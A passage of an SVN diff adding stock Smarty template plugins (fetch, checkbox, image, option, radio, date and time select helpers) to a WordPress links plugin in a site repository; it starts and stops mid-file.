+                        foreach($extra_headers as $curr_header) {
+                            fputs($fp, $curr_header."\r\n");
+                        }
+                    }
+                    if(!empty($user) && !empty($pass)) {
+                        fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n");
+                    }
+
+                    fputs($fp, "\r\n");
+                    while(!feof($fp)) {
+                        $content .= fgets($fp,4096);
+                    }
+                    fclose($fp);
+                    $csplit = split("\r\n\r\n",$content,2);
+
+                    $content = $csplit[1];
+
+                    if(!empty($params['assign_headers'])) {
+                        $smarty->assign($params['assign_headers'],split("\r\n",$csplit[0]));
+                    }
+                }
+            } else {
+                $smarty->_trigger_fatal_error("[plugin] unable to parse URL, check syntax");
+                return;
+            }
+        } else {
+            // ftp fetch
+            if($fp = @fopen($params['file'],'r')) {
+                while(!feof($fp)) {
+                    $content .= fgets ($fp,4096);
+                }
+                fclose($fp);
+            } else {
+                $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] .'\'');
+                return;
+            }
+        }
+
+    }
+
+
+    if (!empty($params['assign'])) {
+        $smarty->assign($params['assign'],$content);
+    } else {
+        return $content;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_checkboxes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_checkboxes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_checkboxes.php	(revision 44)
@@ -0,0 +1,143 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_checkboxes} function plugin
+ *
+ * File:       function.html_checkboxes.php<br>
+ * Type:       function<br>
+ * Name:       html_checkboxes<br>
+ * Date:       24.Feb.2003<br>
+ * Purpose:    Prints out a list of checkbox input types<br>
+ * Input:<br>
+ *           - name       (optional) - string default "checkbox"
+ *           - values     (required) - array
+ *           - options    (optional) - associative array
+ *           - checked    (optional) - array default not set
+ *           - separator  (optional) - ie <br> or &nbsp;
+ *           - output     (optional) - the output next to each checkbox
+ *           - assign     (optional) - assign the output as an array to this variable
+ * Examples:
+ * <pre>
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='<br>' output=$names}
+ * {html_checkboxes values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.checkboxes.php {html_checkboxes}
+ *      (Smarty online manual)
+ * @author     Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte at ohrt dot com>
+ * @version    1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_checkboxes($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+    $name = 'checkbox';
+    $values = null;
+    $options = null;
+    $selected = null;
+    $separator = '';
+    $labels = true;
+    $output = null;
+
+    $extra = '';
+
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+            case 'separator':
+                $$_key = $_val;
+                break;
+
+            case 'labels':
+                $$_key = (bool)$_val;
+                break;
+
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'checked':
+            case 'selected':
+                $selected = array_map('strval', array_values((array)$_val));
+                break;
+
+            case 'checkboxes':
+                $smarty->trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING);
+                $options = (array)$_val;
+                break;
+
+            case 'assign':
+                break;
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    settype($selected, 'array');
+    $_html_result = array();
+
+    if (isset($options)) {
+
+        foreach ($options as $_key=>$_val)
+            $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+
+
+    } else {
+        foreach ($values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+        }
+
+    }
+
+    if(!empty($params['assign'])) {
+        $smarty->assign($params['assign'], $_html_result);
+    } else {
+        return implode("\n",$_html_result);
+    }
+
+}
+
+function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels) {
+    $_output = '';
+    if ($labels) $_output .= '<label>';
+    $_output .= '<input type="checkbox" name="'
+        . smarty_function_escape_special_chars($name) . '[]" value="'
+        . smarty_function_escape_special_chars($value) . '"';
+
+    if (in_array((string)$value, $selected)) {
+        $_output .= ' checked="checked"';
+    }
+    $_output .= $extra . ' />' . $output;
+    if ($labels) $_output .= '</label>';
+    $_output .=  $separator;
+
+    return $_output;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_image.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_image.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_image.php	(revision 44)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_image} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_image<br>
+ * Date:     Feb 24, 2003<br>
+ * Purpose:  format HTML tags for the image<br>
+ * Input:<br>
+ *         - file = file (and path) of image (required)
+ *         - height = image height (optional, default actual height)
+ *         - width = image width (optional, default actual width)
+ *         - basedir = base directory for absolute paths, default
+ *                     is environment variable DOCUMENT_ROOT
+ *         - path_prefix = prefix for path output (optional, default empty)
+ *
+ * Examples: {html_image file="/images/masthead.gif"}
+ * Output:   <img src="/images/masthead.gif" width=400 height=23>
+ * @link http://smarty.php.net/manual/en/language.function.html.image.php {html_image}
+ *      (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @author credits to Duda <duda@big.hu> - wrote first image function
+ *           in repository, helped with lots of functionality
+ * @version  1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_image($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+    
+    $alt = '';
+    $file = '';
+    $height = '';
+    $width = '';
+    $extra = '';
+    $prefix = '';
+    $suffix = '';
+    $path_prefix = '';
+    $server_vars = ($smarty->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+    $basedir = isset($server_vars['DOCUMENT_ROOT']) ? $server_vars['DOCUMENT_ROOT'] : '';
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'file':
+            case 'height':
+            case 'width':
+            case 'dpi':
+            case 'path_prefix':
+            case 'basedir':
+                $$_key = $_val;
+                break;
+
+            case 'alt':
+                if(!is_array($_val)) {
+                    $$_key = smarty_function_escape_special_chars($_val);
+                } else {
+                    $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+
+            case 'link':
+            case 'href':
+                $prefix = '<a href="' . $_val . '">';
+                $suffix = '</a>';
+                break;
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (empty($file)) {
+        $smarty->trigger_error("html_image: missing 'file' parameter", E_USER_NOTICE);
+        return;
+    }
+
+    if (substr($file,0,1) == '/') {
+        $_image_path = $basedir . $file;
+    } else {
+        $_image_path = $file;
+    }
+    
+    if(!isset($params['width']) || !isset($params['height'])) {
+        if(!$_image_data = @getimagesize($_image_path)) {
+            if(!file_exists($_image_path)) {
+                $smarty->trigger_error("html_image: unable to find '$_image_path'", E_USER_NOTICE);
+                return;
+            } else if(!is_readable($_image_path)) {
+                $smarty->trigger_error("html_image: unable to read '$_image_path'", E_USER_NOTICE);
+                return;
+            } else {
+                $smarty->trigger_error("html_image: '$_image_path' is not a valid image file", E_USER_NOTICE);
+                return;
+            }
+        }
+        if ($smarty->security &&
+            ($_params = array('resource_type' => 'file', 'resource_name' => $_image_path)) &&
+            (require_once(SMARTY_CORE_DIR . 'core.is_secure.php')) &&
+            (!smarty_core_is_secure($_params, $smarty)) ) {
+            $smarty->trigger_error("html_image: (secure) '$_image_path' not in secure directory", E_USER_NOTICE);
+        }        
+        
+        if(!isset($params['width'])) {
+            $width = $_image_data[0];
+        }
+        if(!isset($params['height'])) {
+            $height = $_image_data[1];
+        }
+
+    }
+
+    if(isset($params['dpi'])) {
+        if(strstr($server_vars['HTTP_USER_AGENT'], 'Mac')) {
+            $dpi_default = 72;
+        } else {
+            $dpi_default = 96;
+        }
+        $_resize = $dpi_default/$params['dpi'];
+        $width = round($width * $_resize);
+        $height = round($height * $_resize);
+    }
+
+    return $prefix . '<img src="'.$path_prefix.$file.'" alt="'.$alt.'" width="'.$width.'" height="'.$height.'"'.$extra.' />' . $suffix;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_options.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_options.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_options.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_options} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_options<br>
+ * Input:<br>
+ *           - name       (optional) - string default "select"
+ *           - values     (required if no options supplied) - array
+ *           - options    (required if no values supplied) - associative array
+ *           - selected   (optional) - string default not set
+ *           - output     (required if not options supplied) - array
+ * Purpose:  Prints the list of <option> tags generated from
+ *           the passed parameters
+ * @link http://smarty.php.net/manual/en/language.function.html.options.php {html_image}
+ *      (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_options($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+    
+    $name = null;
+    $values = null;
+    $options = null;
+    $selected = array();
+    $output = null;
+    
+    $extra = '';
+    
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+                $$_key = (string)$_val;
+                break;
+            
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+                
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'selected':
+                $$_key = array_map('strval', array_values((array)$_val));
+                break;
+                
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_options: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    $_html_result = '';
+
+    if (isset($options)) {
+        
+        foreach ($options as $_key=>$_val)
+            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+
+    } else {
+        
+        foreach ($values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+        }
+
+    }
+
+    if(!empty($name)) {
+        $_html_result = '<select name="' . $name . '"' . $extra . '>' . "\n" . $_html_result . '</select>' . "\n";
+    }
+
+    return $_html_result;
+
+}
+
+function smarty_function_html_options_optoutput($key, $value, $selected) {
+    if(!is_array($value)) {
+        $_html_result = '<option label="' . smarty_function_escape_special_chars($value) . '" value="' .
+            smarty_function_escape_special_chars($key) . '"';
+        if (in_array((string)$key, $selected))
+            $_html_result .= ' selected="selected"';
+        $_html_result .= '>' . smarty_function_escape_special_chars($value) . '</option>' . "\n";
+    } else {
+        $_html_result = smarty_function_html_options_optgroup($key, $value, $selected);
+    }
+    return $_html_result;
+}
+
+function smarty_function_html_options_optgroup($key, $values, $selected) {
+    $optgroup_html = '<optgroup label="' . smarty_function_escape_special_chars($key) . '">' . "\n";
+    foreach ($values as $key => $value) {
+        $optgroup_html .= smarty_function_html_options_optoutput($key, $value, $selected);
+    }
+    $optgroup_html .= "</optgroup>\n";
+    return $optgroup_html;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_radios.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_radios.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_radios.php	(revision 44)
@@ -0,0 +1,156 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_radios} function plugin
+ *
+ * File:       function.html_radios.php<br>
+ * Type:       function<br>
+ * Name:       html_radios<br>
+ * Date:       24.Feb.2003<br>
+ * Purpose:    Prints out a list of radio input types<br>
+ * Input:<br>
+ *           - name       (optional) - string default "radio"
+ *           - values     (required) - array
+ *           - options    (optional) - associative array
+ *           - checked    (optional) - array default not set
+ *           - separator  (optional) - ie <br> or &nbsp;
+ *           - output     (optional) - the output next to each radio button
+ *           - assign     (optional) - assign the output as an array to this variable
+ * Examples:
+ * <pre>
+ * {html_radios values=$ids output=$names}
+ * {html_radios values=$ids name='box' separator='<br>' output=$names}
+ * {html_radios values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.radios.php {html_radios}
+ *      (Smarty online manual)
+ * @author     Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte at ohrt dot com>
+ * @version    1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_radios($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+   
+    $name = 'radio';
+    $values = null;
+    $options = null;
+    $selected = null;
+    $separator = '';
+    $labels = true;
+    $label_ids = false;
+    $output = null;
+    $extra = '';
+
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+            case 'separator':
+                $$_key = (string)$_val;
+                break;
+
+            case 'checked':
+            case 'selected':
+                if(is_array($_val)) {
+                    $smarty->trigger_error('html_radios: the "' . $_key . '" attribute cannot be an array', E_USER_WARNING);
+                } else {
+                    $selected = (string)$_val;
+                }
+                break;
+
+            case 'labels':
+            case 'label_ids':
+                $$_key = (bool)$_val;
+                break;
+
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'radios':
+                $smarty->trigger_error('html_radios: the use of the "radios" attribute is deprecated, use "options" instead', E_USER_WARNING);
+                $options = (array)$_val;
+                break;
+
+            case 'assign':
+                break;
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_radios: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    $_html_result = array();
+
+    if (isset($options)) {
+
+        foreach ($options as $_key=>$_val)
+            $_html_result[] = smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids);
+
+    } else {
+
+        foreach ($values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result[] = smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids);
+        }
+
+    }
+
+    if(!empty($params['assign'])) {
+        $smarty->assign($params['assign'], $_html_result);
+    } else {
+        return implode("\n",$_html_result);
+    }
+
+}
+
+function smarty_function_html_radios_output($name, $value, $output, $selected, $extra, $separator, $labels, $label_ids) {
+    $_output = '';
+    if ($labels) {
+      if($label_ids) {
+          $_id = smarty_function_escape_special_chars(preg_replace('![^\w\-\.]!', '_', $name . '_' . $value));
+          $_output .= '<label for="' . $_id . '">';
+      } else {
+          $_output .= '<label>';           
+      }
+   }
+   $_output .= '<input type="radio" name="'
+        . smarty_function_escape_special_chars($name) . '" value="'
+        . smarty_function_escape_special_chars($value) . '"';
+
+   if ($labels && $label_ids) $_output .= ' id="' . $_id . '"';
+
+    if ((string)$value==$selected) {
+        $_output .= ' checked="checked"';
+    }
+    $_output .= $extra . ' />' . $output;
+    if ($labels) $_output .= '</label>';
+    $_output .=  $separator;
+
+    return $_output;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_date.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_date.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_date.php	(revision 44)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {html_select_date} plugin
+ *
+ * Type:     function<br>
+ * Name:     html_select_date<br>
+ * Purpose:  Prints the dropdowns for date selection.
+ *
+ * ChangeLog:<br>
+ *           - 1.0 initial release
+ *           - 1.1 added support for +/- N syntax for begin
+ *                and end year values. (Monte)
+ *           - 1.2 added support for yyyy-mm-dd syntax for
+ *                time value. (Jan Rosier)
+ *           - 1.3 added support for choosing format for
+ *                month values (Gary Loescher)
+ *           - 1.3.1 added support for choosing format for
+ *                day values (Marcus Bointon)
+ *           - 1.3.2 support negative timestamps, force year
+ *             dropdown to include given date unless explicitly set (Monte)
+ * @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date}
+ *      (Smarty online manual)
+ * @version 1.3.2
+ * @author Andrei Zmievski
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_select_date($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+    require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+    require_once $smarty->_get_plugin_filepath('function','html_options');
+    /* Default values. */
+    $prefix          = "Date_";
+    $start_year      = strftime("%Y");
+    $end_year        = $start_year;
+    $display_days    = true;
+    $display_months  = true;
+    $display_years   = true;
+    $month_format    = "%B";
+    /* Write months as numbers by default  GL */
+    $month_value_format = "%m";
+    $day_format      = "%02d";
+    /* Write day values using this format MB */
+    $day_value_format = "%d";
+    $year_as_text    = false;
+    /* Display years in reverse order? Ie. 2000,1999,.... */
+    $reverse_years   = false;
+    /* Should the select boxes be part of an array when returned from PHP?
+       e.g. setting it to "birthday", would create "birthday[Day]",
+       "birthday[Month]" & "birthday[Year]". Can be combined with prefix */
+    $field_array     = null;
+    /* <select size>'s of the different <select> tags.
+       If not set, uses default dropdown. */
+    $day_size        = null;
+    $month_size      = null;
+    $year_size       = null;
+    /* Unparsed attributes common to *ALL* the <select>/<input> tags.
+       An example might be in the template: all_extra ='class ="foo"'. */
+    $all_extra       = null;
+    /* Separate attributes for the tags. */
+    $day_extra       = null;
+    $month_extra     = null;
+    $year_extra      = null;
+    /* Order in which to display the fields.
+       "D" -> day, "M" -> month, "Y" -> year. */
+    $field_order     = 'MDY';
+    /* String printed between the different fields. */
+    $field_separator = "\n";
+    $time = time();
+    $all_empty       = null;
+    $day_empty       = null;
+    $month_empty     = null;
+    $year_empty      = null;
+    $extra_attrs     = '';
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'prefix':
+            case 'time':
+            case 'start_year':
+            case 'end_year':
+            case 'month_format':
+            case 'day_format':
+            case 'day_value_format':
+            case 'field_array':
+            case 'day_size':
+            case 'month_size':
+            case 'year_size':
+            case 'all_extra':
+            case 'day_extra':
+            case 'month_extra':
+            case 'year_extra':
+            case 'field_order':
+            case 'field_separator':
+            case 'month_value_format':
+            case 'month_empty':
+            case 'day_empty':
+            case 'year_empty':
+                $$_key = (string)$_value;
+                break;
+
+            case 'all_empty':
+                $$_key = (string)$_value;
+                $day_empty = $month_empty = $year_empty = $all_empty;
+                break;
+
+            case 'display_days':
+            case 'display_months':
+            case 'display_years':
+            case 'year_as_text':
+            case 'reverse_years':
+                $$_key = (bool)$_value;
+                break;
+
+            default:
+                if(!is_array($_value)) {
+                    $extra_attrs .= ' '.$_key.'="'.smarty_function_escape_special_chars($_value).'"';
+                } else {
+                    $smarty->trigger_error("html_select_date: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if(preg_match('!^-\d+$!',$time)) {
+        // negative timestamp, use date()
+        $time = date('Y-m-d',$time);
+    }
+    // If $time is not in format yyyy-mm-dd
+    if (!preg_match('/^\d{0,4}-\d{0,2}-\d{0,2}$/', $time)) {
+        // use smarty_make_timestamp to get an unix timestamp and
+        // strftime to make yyyy-mm-dd
+        $time = strftime('%Y-%m-%d', smarty_make_timestamp($time));
+    }
+    // Now split this in pieces, which later can be used to set the select
+    $time = explode("-", $time);
+    
+    // make syntax "+N" or "-N" work with start_year and end_year
+    if (preg_match('!^(\+|\-)\s*(\d+)$!', $end_year, $match)) {
+        if ($match[1] == '+') {
+            $end_year = strftime('%Y') + $match[2];
+        } else {
+            $end_year = strftime('%Y') - $match[2];
+        }
+    }
+    if (preg_match('!^(\+|\-)\s*(\d+)$!', $start_year, $match)) {
+        if ($match[1] == '+') {
+            $start_year = strftime('%Y') + $match[2];
+        } else {
+            $start_year = strftime('%Y') - $match[2];
+        }
+    }
+    if (strlen($time[0]) > 0) { 
+        if ($start_year > $time[0] && !isset($params['start_year'])) {
+            // force start year to include given date if not explicitly set
+            $start_year = $time[0];
+        }
+        if($end_year < $time[0] && !isset($params['end_year'])) {
+            // force end year to include given date if not explicitly set
+            $end_year = $time[0];
+        }
+    }
+
+    $field_order = strtoupper($field_order);
+
+    $html_result = $month_result = $day_result = $year_result = "";
+
+    if ($display_months) {
+        $month_names = array();
+        $month_values = array();
+        if(isset($month_empty)) {
+            $month_names[''] = $month_empty;
+            $month_values[''] = '';
+        }
+        for ($i = 1; $i <= 12; $i++) {
+            $month_names[$i] = strftime($month_format, mktime(0, 0, 0, $i, 1, 2000));
+            $month_values[$i] = strftime($month_value_format, mktime(0, 0, 0, $i, 1, 2000));
+        }
+
+        $month_result .= '<select name=';
+        if (null !== $field_array){
+            $month_result .= '"' . $field_array . '[' . $prefix . 'Month]"';
+        } else {
+            $month_result .= '"' . $prefix . 'Month"';
+        }
+        if (null !== $month_size){
+            $month_result .= ' size="' . $month_size . '"';
+        }
+        if (null !== $month_extra){
+            $month_result .= ' ' . $month_extra;
+        }
+        if (null !== $all_extra){
+            $month_result .= ' ' . $all_extra;
+        }
+        $month_result .= $extra_attrs . '>'."\n";
+
+        $month_result .= smarty_function_html_options(array('output'     => $month_names,
+                                                            'values'     => $month_values,
+                                                            'selected'   => (int)$time[1] ? strftime($month_value_format, mktime(0, 0, 0, (int)$time[1], 1, 2000)) : '',
+                                                            'print_result' => false),
+                                                      $smarty);
+        $month_result .= '</select>';
+    }
+
+    if ($display_days) {
+        $days = array();
+        if (isset($day_empty)) {
+            $days[''] = $day_empty;
+            $day_values[''] = '';
+        }
+        for ($i = 1; $i <= 31; $i++) {
+            $days[] = sprintf($day_format, $i);
+            $day_values[] = sprintf($day_value_format, $i);
+        }
+
+        $day_result .= '<select name=';
+        if (null !== $field_array){
+            $day_result .= '"' . $field_array . '[' . $prefix . 'Day]"';
+        } else {
+            $day_result .= '"' . $prefix . 'Day"';
+        }
+        if (null !== $day_size){
+            $day_result .= ' size="' . $day_size . '"';
+        }
+        if (null !== $all_extra){
+            $day_result .= ' ' . $all_extra;
+        }
+        if (null !== $day_extra){
+            $day_result .= ' ' . $day_extra;
+        }
+        $day_result .= $extra_attrs . '>'."\n";
+        $day_result .= smarty_function_html_options(array('output'     => $days,
+                                                          'values'     => $day_values,
+                                                          'selected'   => $time[2],
+                                                          'print_result' => false),
+                                                    $smarty);
+        $day_result .= '</select>';
+    }
+
+    if ($display_years) {
+        if (null !== $field_array){
+            $year_name = $field_array . '[' . $prefix . 'Year]';
+        } else {
+            $year_name = $prefix . 'Year';
+        }
+        if ($year_as_text) {
+            $year_result .= '<input type="text" name="' . $year_name . '" value="' . $time[0] . '" size="4" maxlength="4"';
+            if (null !== $all_extra){
+                $year_result .= ' ' . $all_extra;
+            }
+            if (null !== $year_extra){
+                $year_result .= ' ' . $year_extra;
+            }
+            $year_result .= ' />';
+        } else {
+            $years = range((int)$start_year, (int)$end_year);
+            if ($reverse_years) {
+                rsort($years, SORT_NUMERIC);
+            } else {
+                sort($years, SORT_NUMERIC);
+            }
+            $yearvals = $years;
+            if(isset($year_empty)) {
+                array_unshift($years, $year_empty);
+                array_unshift($yearvals, '');
+            }
+            $year_result .= '<select name="' . $year_name . '"';
+            if (null !== $year_size){
+                $year_result .= ' size="' . $year_size . '"';
+            }
+            if (null !== $all_extra){
+                $year_result .= ' ' . $all_extra;
+            }
+            if (null !== $year_extra){
+                $year_result .= ' ' . $year_extra;
+            }
+            $year_result .= $extra_attrs . '>'."\n";
+            $year_result .= smarty_function_html_options(array('output' => $years,
+                                                               'values' => $yearvals,
+                                                               'selected'   => $time[0],
+                                                               'print_result' => false),
+                                                         $smarty);
+            $year_result .= '</select>';
+        }
+    }
+
+    // Loop thru the field_order field
+    for ($i = 0; $i <= 2; $i++){
+        $c = substr($field_order, $i, 1);
+        switch ($c){
+            case 'D':
+                $html_result .= $day_result;
+                break;
+
+            case 'M':
+                $html_result .= $month_result;
+                break;
+
+            case 'Y':
+                $html_result .= $year_result;
+                break;
+        }
+        // Add the field seperator
+        if($i != 2) {
+            $html_result .= $field_separator;
+        }
+    }
+
+    return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_time.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_time.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_select_time.php	(revision 44)
@@ -0,0 +1,194 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_select_time} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_select_time<br>
+ * Purpose:  Prints the dropdowns for time selection
+ * @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time}
+ *          (Smarty online manual)
+ * @author Roberto Berto <roberto@berto.net>
+ * @credits Monte Ohrt <monte AT ohrt DOT com>
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_make_timestamp()
+ */
+function smarty_function_html_select_time($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+    require_once $smarty->_get_plugin_filepath('function','html_options');
+    /* Default values. */
+    $prefix             = "Time_";
+    $time               = time();
+    $display_hours      = true;
+    $display_minutes    = true;
+    $display_seconds    = true;
+    $display_meridian   = true;
+    $use_24_hours       = true;
+    $minute_interval    = 1;
+    $second_interval    = 1;
+    /* Should the select boxes be part of an array when returned from PHP?
+       e.g. setting it to "birthday", would create "birthday[Hour]",
+       "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
+       Can be combined with prefix. */
+    $field_array        = null;
+    $all_extra          = null;
+    $hour_extra         = null;
+    $minute_extra       = null;
+    $second_extra       = null;
+    $meridian_extra     = null;
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'prefix':
+            case 'time':
+            case 'field_array':
+            case 'all_extra':
+            case 'hour_extra':
+            case 'minute_extra':
+            case 'second_extra':
+            case 'meridian_extra':
+                $$_key = (string)$_value;
+                break;
+
+            case 'display_hours':
+            case 'display_minutes':
+            case 'display_seconds':
+            case 'display_meridian':
+            case 'use_24_hours':
+                $$_key = (bool)$_value;
+                break;
+
+            case 'minute_interval':
+            case 'second_interval':
+                $$_key = (int)$_value;
+                break;
+
+            default:
+                $smarty->trigger_error("[html_select_time] unknown parameter $_key", E_USER_WARNING);
+        }
+    }
+
+    $time = smarty_make_timestamp($time);
+
+    $html_result = '';
+
+    if ($display_hours) {
+        $hours       = $use_24_hours ? range(0, 23) : range(1, 12);
+        $hour_fmt = $use_24_hours ? '%H' : '%I';
+        for ($i = 0, $for_max = count($hours); $i < $for_max; $i++)
+            $hours[$i] = sprintf('%02d', $hours[$i]);
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Hour]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Hour"';
+        }
+        if (null !== $hour_extra){
+            $html_result .= ' ' . $hour_extra;
+        }
+        if (null !== $all_extra){
